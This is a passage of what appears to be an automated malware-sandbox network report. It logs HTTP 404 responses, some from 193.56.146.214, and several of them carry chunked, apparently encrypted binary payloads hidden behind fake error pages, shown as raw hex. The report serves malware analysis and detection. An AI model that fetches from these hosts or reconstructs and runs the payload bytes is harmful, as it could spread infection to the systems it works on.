ee d3 2e ac 9c d8 f7 0d c0 23 af 38 15 06 1f 84 48 7f 4f 6d 5b df 92 a0 cf 0b 80 51 a9 cd 6d e1 7c 1c 9d 89 05 4d 99 2e 94 58 13 86 89 b0 6e 2c dc c3 75 44 f4 8b 85 52 aa a2 e4 2f a9 e7 5b 9a 1e bd 79
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 13:31:12 GMTContent-Type: text/html; charset=utf-8Content-Length: 327Connection: keep-aliveX-Powered-By: PHP/5.6.40Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 13:31:12 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveX-Powered-By: PHP/5.6.40Data Raw: 31 66 34 32 0d 0a 00 00 b4 60 fb d4 0e 1a 40 10 16 30 80 b7 2c 78 84 4f ad 7d f5 71 b1 34 b2 96 20 c3 49 91 4a 25 39 57 90 06 64 04 ec 38 49 6b 19 b1 cd e4 dc b5 44 a4 06 4a 38 50 87 d2 d9 c3 3e 08 a2 13 9d 8e e2 e3 07 97 8a 06 9e 8f f1 83 0e 25 a6 79 5e 5c 95 03 0f 2e 0e 4b 69 e1 d9 a0 6a 7d ec 53 2e 3b 76 4b 12 73 36 18 28 a6 70 a3 d1 5f 36 6b 85 29 7c f2 c6 e6 70 95 06 7c 93 74 5d b9 53 68 47 8f 2a f5 8b bf 6a c6 ca 05 11 fc 86 d5 36 8c f6 c7 35 f3 73 07 03 d2 ff f9 fa fa eb b2 b9 71 cd 79 33 33 d1 60 73 45 7c 1f 57 44 63 84 be 3c 50 15 51 fe 08 a2 b9 7f 18 66 7d 28 2a a7 6a dd d6 bc db 43 15 5c 53 a6 cd f6 4d 55 62 91 54 5b fd 55 19 d0 ed c5 70 b1 17 20 58 4a ed 08 63 3e 17 21 6b df a3 06 83 3a 56 2f cb 00 23 be 52 15 d7 17 53 53 fa cb 1f 9e 0d 09 52 2b e5 8d 83 7b 7e 45 f7 ff e4 e1 55 db 8b 0d 13 13 bf 9e e1 92 08 0c 4f c5 03 a1 cb a1 61 7e de f5 69 e1 19 17 c6 4c af 9a a5 e4 c9 a0 cd b9 dd 7a 0d 90 4e 19 e0 2c 95 a9 18 1a f5 96 be 25 51 61 9a d4 3e 7c 88 28 c8 48 6b a1 c0 4a 9a 03 fd ec 9e aa 7b ac 87 2f bd 61 0d c0 5d bf 46 34 fd f8 12 4c 33 6c 21 7c 0a 8d c7 fd e4 0e a4 eb 7e 71 e3 a0 f5 1a 20 9b 4a d8 19 ae cc 4f 3b 79 82 ae b2 e3 67 34 01 56 ad f3 a3 77 2a b9 72 ce cc 23 b2 3b 0e 31 79 90 90 f7 df f5 ec e7 72 2b 4c 80 d0 12 f9 13 43 11 bb b6 81 43 4f 55 b7 69 b7 9f 1f cd cc 46 d9 c8 15 ac af ed d9 55 3d ff ba 68 92 0e ff 9d 7f 7f 55 40 57 64 7b 39 26 e7 ac 44 06 f6 27 2c 18 f8 c7 9b 88 e7 3d 66 f1 2a 64 b1 1d 32 12 51 8c 26 17 4b 81 6b df 8e 82 01 e8 e4 1f 5e a1 90 0e a1 54 17 a5 8e b7 1b 6f c3 cb 29 32 28 e7 5b 1e 54 ab 1e f6 11 11 ee c3 ce 57 a3 04 1d 85 1f d6 5c 6d 91 cc 62 06 f1 60 7f ae 03 58 e5 1d e4 a4 7d 10 99 10 b9 d9 b0 99 07 99 8a cd e4 7f 74 79 50 6d 43 cc b9 8b 8b e1 62 7a d7 9c 88 c3 e0 2b a9 b4 bb 01 7a 17 28 d2 ae 46 1f d0 a1 aa 7a 8f f6 6b e3 80 8a 49 37 03 80 e3 1c cd 20 f5 52 b7 3b 3a 96 f5 cb e7 17 3f dc e5 7e 0d a6 70 d4 03 eb ac 98 76 6e 0f ca 82 cf 25 2e 9f 96 ce ec 35 98 c3 a7 0d a8 ca d4 5f 29 43 43 9c 55 03 62 98 3a 1d f8 4e b5 14 86 c1 70 a8 fe 04 c5 db ad 0e c9 9c 47 a2 91 29 98 f9 4c 79 de 79 d5 57 d0 6f fd ef 76 67 a8 db e9 d5 6a e2 3c 99 a8 84 be 57 a7 eb 6c 28 8e 94 16 a3 4e d4 e7 23 b2 52 dc 1a 9e 8b 18 07 64 01 7d 46 02 82 96 c6 ce 2d b2 9d df 3c 42 56 60 de 9e 93 0f 94 45 a9 24 4f 78 60 22 30 5f d6 a0 b8 78 fe b1 8e 98 37 20 5e 32 d0 c9 f3 32 42 82 39 16 12 47 0b f9 17 30 8d e3 51 22 b2 3d df 10 54 5a 17 1c 5c 5a 12 b3 19 5f 11 8f 69 f9 e4 b9 2a 01 6e f3 fd 58 b3 dc 95 25 1f 90 13 f7 5e 15 23 b5 01 92 e3 92 c2 01 7d 7e d3 95 bc 43 cf 76 62 93 55 e1 05 85 d4 9c 97 2e 60 10 3a 93 83 ac e5 fe 99 ae 32 c8 6e 95 8d 4a d5 f8 91 65 69 17 ee f3 af 84 ed 67 e1 a2 3a 84 aa 58 5d 1c 79 fb 37 67 d2 1f ad af a2 e2 54 24 d0 e4 dd b2 3a 6a c0 8e ad 90 bb 9a 05 71 77 92 ae 0f 27 d1 9c 65 53 55 cd ab 48 63 36 cc
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 29 Oct 2021 13:31:13 GMTServer: Apache/2.4.29 (Ubuntu)Content-Length: 402Keep-Alive: timeout=5, max=96Connection: Keep-AliveContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 39 33 2e 35 36 2e 31 34 36 2e 32 31 34 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at 193.56.146.214 Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 29 Oct 2021 13:31:13 GMTServer: Apache/2.4.29 (Ubuntu)Keep-Alive: timeout=5, max=95Connection: Keep-AliveTransfer-Encoding: chunkedContent-Type: text/html; charset=utf-8Data Raw: 37 63 63 30 32 0d 0a 00 00 6e 47 17 86 3c 28 c2 36 40 7b b6 16 56 36 0c 45 49 50 b5 c5 ea fa 80 5d 3d 4d 94 01 9f 38 c5 e4 b8 b3 1b e4 69 14 ba 72 71 2e a2 b2 43 37 3a 71 f6 aa 4d af 80 0d c2 d6 60 e5 83 44 7d 49 98 ab 99 7a d3 1e 48 2e 96 0c 59 41 c8 0f 06 51 ea 33 08 e5 01 db b9 93 51 3b a1 fd f4 43 7f 32 3d 09 67 19 00 03 ae df 8e 36 20 d7 fa a7 5c ea c3 c5 0c 90 75 ff 67 5a b4 7c e9 9f 09 79 61 ab 85 ce 60 d5 d3 ef 53 47 4d c5 7c a2 52 90 b7 be 4f 41 dd 46 29 0a f9 36 87 18 bc 67 b1 2e 7c f9 3e 05 14 73 5e ef 3b f3 56 72 70 6e 1e 04 b2 50 2a 87 d6 37 83 3a fa 04 b1 07 a0 e2 19 17 80 2f ba 8e 42 0d 0a 7e 82 cf 27 11 da 9d 1d b3 9c 88 8a 38 22 7a 61 2e e6 2a 7e d7 46 ad 96 2e cb 81 88 4b 55 09 d4 c1 1e 2b 50 6b bd 8e c3 58 87 c6 41 c9 b0 26 1c 94 c0 99 7d 5a 99 2b 99 5b af 18 9f 7a bd 0c 93 a6 69 3e 1a 20 8c 63 bb ca c9 ba ad f5 31 61 a4 cf 37 1f 1a eb 3f 82 c2 74 e1 81 8f f5 03 96 07 cd 96 df a5 61 6c fd 71 12 70 df ce 22 db 30 d5 a9 b6 2a 08 8f 01 e9 46 76 22 e1 ff b8 5c 3f 1f 83 d0 30 38 ba 60 bd 49 22 09 69 53 40 98 e3 94 54 e0 2f 60 43 8c 67 f0 86 f0 fb 34 6c 1b 45 6e d5 f6 4e 76 8c 9e cd 37 14 39 7e a2 55 6b 5f c7 ae 4a 88 54 d9 60 49 d3 03 e7 fe 88 2c c7 1f fd 10 e5 ec 9a db 25 79 41 75 04 c5 e3 a1 b7 d9 17 81 5d 26 db 3a 35 9d f7 d5 49 4f 44 e8 d0 32 79 2e 0a ba e8 33 5c b0 05 89 52 1e 05 63 bb 9a d4 46 d1 a0 3c df d5 bf 2b 02 87 d2 db 53 3d a0 c3 96 cb 7d 64 57 b4 85 5b ae 39 16 1b e2 99 15 f7 bb 2e 44 3d e2 08 5a 11 dc 40 9e 02 91 b1 41 6b 05 23 9f f5 4a b0 6e 78 0d 2a f7 d8 d2 12 74 3c 8b 08 f5 a5 36 3d 07 4e c4 b2 d6 ea ec 0f f8 14 a3 0b ab c1 39 e2 a7 66 94 c6 a6 d3 30 18 65 17 b2 f4 a7 c1 58 40 f6 e7 2a 9d 72 08 ac 54 7b 52 ff eb 48 5a 75 56 4f 82 56 c3 e9 37 7f a3 29 ff f1 ee 21 bd b4 4f 07 bb 75 4b 99 01 ac 67 90 ff 21 62 11 14 74 22 d5 a5 d5 93 03 e8 a9 51 04 f8 fc b7 2c f4 47 1b 3f 4d 93 e6 9f 70 06 c5 52 89 52 8c 3e 09 6e be ca 39 52 41 cc 35 5f 27 89 98 4c 68 48 94 56 10 02 37 e2 be 43 f0 8b 9a 47 8a 76 1e 5e 84 8e 8e 8b 0d 16 21 95 87 04 73 2d c7 4c 02 f6 30 60 f4 6b 3d 82 ae 74 99 df 92 5a 4d aa 78 71 b0 7b 66 f4 eb 40 3a aa db da 2b 5c cb e1 59 fb c4 57 cc 6f e6 65 be a9 0b 89 8b 87 2b 02 02 53 d6 5a e3 95 e6 d8 99 0a e2 4c 97 6f 09 c5 e9 fd c7 23 56 3e ec ab 1c 2b 48 06 30 c8 0b 4c c7 c7 5f c6 c9 6b ad 20 23 6b de a1 9f 3f b0 fc f8 06 04 cd 51 e5 30 d5 71 ef d6 a3 96 1c 41 be c0 52 50 1f fb 55 d2 7a b6 d5 5b d4 72 ed f6 4b a5 53 52 d2 c1 d4 d1 79 5e 67 ad 6d 11 30 c0 db 31 a2 29 77 31 ac b2 03 04 1e 57 f3 28 bc cb 58 67 5b 5b 67 c2 3f c3 78 d9 e8 1f ba e2 50 11 3b fc 5f e0 3c c7 4b d4 50 b0 20 e1 1e 3c d7 d3 2e e3 9c d8 f7 0d 82 23 af 40 16 06 1f 84 4c 7f 4f 6d 5b df 92 a0 c7 0b 80 51 a9 cd 6d e1 0c 1c 9d 89 05 4d 99 20 83 58 13 87 89 b0 6e 2c 9c c3 75 44 f4 8b 85 52 2a a2 e4 2f a9 e7 5b 9a 1e bc 79
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 13:31:13 GMTContent-Type: text/html; charset=utf-8Content-Length: 327Connection: keep-aliveX-Powered-By: PHP/5.6.40Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 13:31:14 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveX-Powered-By: PHP/5.6.40Data Raw: 31 66 34 32 0d 0a 00 00 b4 60 fb d4 0e 1a 40 10 16 30 80 b7 2c 78 84 4f ad 7d f5 71 b1 34 b2 96 20 c3 49 91 4a 25 39 57 90 06 64 04 ec 38 49 6b 19 b1 cd e4 dc b5 44 a4 06 4a 38 50 87 d2 d9 c3 3e 08 a2 13 ed 8e e2 e3 07 97 8a 06 9e 8f f1 83 0e 25 a6 79 5e 5c 95 03 0f 2e 0e 4b 69 e1 d9 a0 6a 7d ec 53 2e 3b 76 4b 12 73 36 18 28 a6 70 a3 d1 5f 36 6b 85 29 7c f2 c6 e6 70 95 06 7c 93 74 5d b9 53 68 47 8f 2a f5 40 26 0b 04 59 b9 1d 6d f5 e9 e6 a1 29 7a 3a 62 c3 cc a7 43 ec 44 d7 6b 50 78 18 e0 30 8a 3c a2 61 a3 d6 d4 22 a2 58 d5 5b 2d 22 ad 88 88 5e 6f d7 9f b7 ee bc db 32 b9 9a 4c ca 4c 08 03 d4 d2 a1 97 c6 37 13 4b 42 c4 d4 5a c6 ca 23 e8 16 41 bf 6c 13 d9 c8 9f 57 db 33 4f 62 3e 15 21 0b 5a a3 06 93 3a 56 3f cb 00 23 be 42 15 d7 07 53 53 aa 8e 1f 9e 51 08 56 2b 88 b6 4b 24 7e 45 f7 ff 78 8d 55 db 24 0d 11 12 b4 1f eb 92 24 82 45 c5 03 49 bd a3 61 7e de f5 69 33 11 17 7e 4f af 9a a5 e4 c3 a0 c1 b9 9d 7a 0d 80 4e 19 e0 2e 95 a9 1d 1a f4 96 be 25 51 61 9f d4 3f 7c 88 28 c8 48 6b 11 41 48 9a 07 fd ec 23 20 77 ac 85 2f bd e0 0d c0 4d bf 46 24 fd f8 12 6c 23 6c 29 6c 0a 8d c7 fd e4 0e b4 eb 7e 71 eb 80 f5 1a 68 9b 4a d8 d5 20 c6 4f 6b 79 82 ae 9c a7 82 4e 95 1f ad f3 57 3b 2a b9 72 ee cc 23 b2 75 0e 31 79 92 90 f7 df 75 6c e5 ee 30 4c 80 f0 00 f9 13 7f 11 bb d6 af 31 3c 27 d4 69 b7 9f 33 c9 cc 46 d9 48 15 ac af eb d9 55 3d af ba 68 9a 70 f7 9d 3f 7f 55 40 57 64 7b 39 66 e7 ac 04 28 94 42 40 bb 9a c7 9b 84 e7 3d 66 f1 8a 64 b1 1d 30 12 51 8c 70 17 4b 81 6b df 8e 82 01 e8 e4 31 2a c4 e8 3a a1 54 55 39 07 bd 1b 6f d3 cb 29 32 a2 ed 5b 1e 50 ab 1e 26 7d 11 ee c3 ce 57 a3 4c 1d 85 1f f4 5c 68 f1 b2 4d 67 85 4d 5e ae 03 13 61 6a e6 a6 dd 1a 9f 10 af d9 b0 99 89 93 8a cd e4 7f 74 79 50 6d 43 cc b9 8b 8b a1 62 7a 17 b2 fa b0 92 48 a9 b4 bb e1 33 17 28 d2 9e c6 1d d0 eb aa 7a 8f 52 61 e3 cd d0 d9 37 00 80 e3 1c c9 20 f5 52 08 c4 3a d6 63 b9 82 7b 50 bf e5 7e 75 82 71 d4 03 6b 2c 9a 76 48 0e ca 82 21 2f 2e 9f 96 ce ec 35 98 c3 a7 0d a8 ca d4 1f 29 43 01 9c 55 03 62 18 3a 1d f8 40 aa ae 88 c1 c4 a1 33 25 7d da a9 c3 e8 c8 2f cb e2 09 e8 8b 23 1e ac 18 b8 77 b3 0e 93 81 19 13 88 b9 8c f5 18 97 52 b9 c1 ea 9e 13 e8 b8 4c 45 e1 f0 73 8d 43 d9 ed 07 b2 52 dc 1a 9e 8b 18 57 21 01 7d 42 03 81 96 7f d8 2e 27 9d df 3c 42 56 60 de 9e 73 0f b6 65 a2 25 1f 78 60 38 30 5f d6 a6 b8 78 fe b1 8e 98 6d 18 5e 32 d0 e9 f3 32 42 c2 39 16 12 47 0b e9 17 10 8d e3 51 20 b2 3d db 10 54 5a 17 1c 5c 5a 16 b3 19 5f 11 8f 69 f9 e4 39 2a 01 6e f1 fd 58 b3 dc 95 25 1c 90 53 72 5e 15 33 b5 01 82 e3 92 c2 01 6d 7e d3 85 bc 43 cf 76 62 93 45 e1 05 85 d4 9c 97 2e 60 10 3a 93 8b 94 e5 fe d6 ae 32 c8 6e d5 8d 4a ad fb 91 65 69 17 ee f3 af 84 ed 67 e1 a2 3a 84 aa 58 5d 1c 79 9b 37 67 d2 1f ad af ac d5 54 24 d1 e4 dd b2 3a 6a c0 8e ad 90 bb 9a 05 71 77 92 ae 0f 27 d1 9c 65 53 55 cd ab 48 63 36 cc
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 29 Oct 2021 13:31:14 GMTServer: Apache/2.4.29 (Ubuntu)Content-Length: 402Keep-Alive: timeout=5, max=94Connection: Keep-AliveContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 39 33 2e 35 36 2e 31 34 36 2e 32 31 34 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at 193.56.146.214 Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 29 Oct 2021 13:31:18 GMTServer: Apache/2.4.29 (Ubuntu)Content-Length: 402Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 39 33 2e 35 36 2e 31 34 36 2e 32 31 34 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at 193.56.146.214 Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 13:31:18 GMTContent-Type: text/html; charset=utf-8Content-Length: 327Connection: keep-aliveX-Powered-By: PHP/5.6.40Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 13:31:19 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveX-Powered-By: PHP/5.6.40Data Raw: 31 66 34 32 0d 0a 00 00 b4 60 fb d4 0e 1a 40 10 16 30 80 b7 2c 78 84 4f ad 7d f5 71 b1 34 b2 96 20 c3 49 91 4a 25 39 57 90 06 64 04 ec 38 49 6b 19 b1 cd e4 dc b5 44 a4 06 4a 38 50 87 d2 d9 c3 3e 08 a2 13 fd 8e e2 e3 07 97 8a 06 9e 8f f1 83 0e 25 a6 79 5e 5c 95 03 0f 2e 0e 4b 69 e1 d9 a0 6a 7d ec 53 2e 3b 76 4b 12 73 36 18 28 a6 70 a3 d1 5f 36 6b 85 29 7c f2 c6 e6 70 95 06 7c 93 74 5d b9 53 68 47 8f 2a f5 b1 ba 89 c7 a8 25 9f ae 04 75 64 62 d8 e6 b8 a1 54 5e 1b 80 2b d8 55 a8 c7 ea 87 23 6d 16 be 61 f6 31 6d 17 41 3e da 16 a3 c9 32 6e a0 14 dc ac 2f 7b b0 2d 61 47 b0 7a 0d de 75 8f f9 9f 56 11 36 05 4a f4 e2 d7 c0 07 43 c8 48 09 d2 74 94 82 bf 6c 13 d9 39 03 d5 18 33 4f 62 3e 15 